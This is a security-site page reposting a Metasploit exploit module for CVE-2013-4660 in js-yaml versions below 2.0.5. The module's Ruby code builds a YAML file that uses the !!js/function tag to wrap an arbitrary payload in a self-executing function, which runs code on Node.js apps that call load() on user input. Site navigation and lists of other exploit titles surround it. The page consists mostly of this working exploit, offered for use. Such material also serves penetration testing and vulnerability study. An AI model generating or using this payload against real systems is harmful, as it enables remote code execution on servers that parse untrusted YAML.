首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Nodejs js-yaml load() Code Execution
来源:metasploit.com 作者:joev 发布时间:2013-09-26  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nodejs js-yaml load() Code Exec',
      'Description'    => %q{
        For node.js applications that parse user-supplied YAML input using the
        load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
        function allows us to execute arbitrary javascript code.
      },
      'Author'         => ['joev <jvennix[at]rapid7.com>'],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-4660'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>	[['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ], self.class)
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZeroShell Remote Code Executio
·Astium Remote Code Execution
·Google Chrome 31.0 Webkit Audi
·Blast XPlayer Local Buffer Ove
·IBM AIX 6.1 / 7.1 - Local root
·mod_accounting 0.5 Blind SQL I
·Raidsonic NAS Devices Unauthen
·Astium Remote Code Execution V
·Share KM 1.0.19 - Remote Denia
·Internet Explorer "wshom.ocx"
·SolarWinds Server and Applicat
·Internet Explorer 7.0 "documen
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved